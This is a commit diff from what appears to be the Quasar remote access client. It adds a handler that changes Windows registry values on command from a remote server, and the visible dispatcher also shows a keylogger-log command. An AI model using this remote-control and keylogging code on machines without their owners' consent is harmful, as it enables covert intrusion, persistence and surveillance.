Added code in client to handle the new types of packets for modifying data of registry values.

This commit is contained in:
StingRaptor 2016-01-27 09:47:44 +01:00
parent f6c4e2a651
commit faa8e870d2
6 changed files with 90 additions and 10 deletions

View File

@ -94,6 +94,7 @@
<Compile Include="Core\Cryptography\SHA256.cs" />
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
<Compile Include="Core\Networking\QuasarClient.cs" />
<Compile Include="Core\Packets\ClientPackets\GetChangeRegistryValueResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
@ -103,6 +104,7 @@
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryValueResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
<Compile Include="Core\Packets\ServerPackets\DoChangeRegistryValue.cs" />
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryValue.cs" />
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />

View File

@ -140,8 +140,7 @@ namespace xClient.Core.Commands
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
object valueData = packet.Kind.GetDefault();
responsePacket.Value = new RegValueData(newKeyName, packet.Kind.RegistryTypeToString(), packet.Kind.RegistryTypeToString(valueData));
responsePacket.Value = new RegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault());
responsePacket.KeyPath = packet.KeyPath;
responsePacket.Execute(client);
@ -188,6 +187,26 @@ namespace xClient.Core.Commands
responsePacket.Execute(client);
}
public static void HandleChangeRegistryValue(xClient.Core.Packets.ServerPackets.DoChangeRegistryValue packet, Client client)
{
xClient.Core.Packets.ClientPackets.GetChangeRegistryValueResponse responsePacket = new Packets.ClientPackets.GetChangeRegistryValueResponse();
string errorMsg = "";
try
{
responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.KeyPath = packet.KeyPath;
responsePacket.Value = packet.Value;
responsePacket.Execute(client);
}
#endregion
}
}

View File

@ -228,13 +228,15 @@ namespace xClient.Core.Extensions
#region Region Value
/// <summary>
/// Attempts to create a registry value for the key provided using the specified
/// name.
/// Attempts to set a registry value for the key provided using the specified
/// name, data and kind. If the registry value does not exist it will be created
/// </summary>
/// <param name="key">The key of which the value is to be created for.</param>
/// <param name="key">The key of which the value is to be set for.</param>
/// <param name="name">The name of the value.</param>
/// <param name="data">The data of the value</param>
/// <param name="kind">The value kind of the value</param>
/// <returns>Returns a boolean value if the action succeded or failed.</returns>
public static bool CreateValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
{
try
{

View File

@ -152,6 +152,10 @@ namespace xClient.Core.Packets
{
CommandHandler.HandleRenameRegistryValue((ServerPackets.DoRenameRegistryValue)packet, client);
}
else if (type == typeof(ServerPackets.DoChangeRegistryValue))
{
CommandHandler.HandleChangeRegistryValue((ServerPackets.DoChangeRegistryValue)packet, client);
}
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
{
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);

View File

@ -30,6 +30,8 @@ namespace xClient.Core.Registry
private const string REGISTRY_VALUE_RENAME_ERROR = "Cannot rename value: Error writing to the registry";
private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry";
#endregion
#endregion
@ -195,7 +197,7 @@ namespace xClient.Core.Registry
/// <summary>
/// Attempts to create the desired value for the specified parent.
/// </summary>
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
/// <param name="keyPath">The path to the key for which to create the registry value on.</param>
/// <param name="kind">The type of the registry value to create.</param>
/// <param name="name">output parameter that holds the name of the registry value that was create.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
@ -225,7 +227,7 @@ namespace xClient.Core.Registry
}
name = testName;
bool success = key.CreateValueSafe(name, kind.GetDefault(), kind);
bool success = key.SetValueSafe(name, kind.GetDefault(), kind);
//Value could not be created
if (!success)
@ -344,6 +346,57 @@ namespace xClient.Core.Registry
}
}
/// <summary>
/// Attempts to change the value for the desired registry value for the
/// specified key.
/// </summary>
/// <param name="value">The registry value to change to in the form of a
/// RegValueData object.</param>
/// <param name="keyPath">The path to the key for which to change the
/// value of the registry value on.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg)
{
try
{
RegistryKey key = RegistrySeeker.GetWritableRegistryKey(keyPath);
//Invalid can not open key
if (key == null)
{
errorMsg = "You do not have access to open registry: " + keyPath + ", try running as administrator";
return false;
}
//Value does not exist
if (!key.ContainsValue(value.Name))
{
errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath;
return false;
}
bool success = key.SetValueSafe(value.Name, value.Data, value.Kind);
//Value could not be created
if (!success)
{
errorMsg = REGISTRY_VALUE_CHANGE_ERROR;
return false;
}
//Value was successfully created
errorMsg = "";
return true;
}
catch (Exception ex)
{
errorMsg = ex.Message;
return false;
}
}
#endregion
}
}

View File

@ -256,9 +256,9 @@ namespace xClient.Core.Registry
foreach (string valueName in key.GetValueNames())
{
RegistryValueKind valueType = key.GetValueKind(valueName);
string valueData = key.GetValueKind(valueName).RegistryTypeToString(key.GetValue(valueName, string.Empty));
object valueData = key.GetValue(valueName);
string actualValueName = String.IsNullOrEmpty(valueName) ? "(Default)" : valueName;
values.Add(new RegValueData(actualValueName, valueType.RegistryTypeToString(), valueData));
values.Add(new RegValueData(actualValueName, valueType, valueData));
}
//Maybe send null if empty (regValues)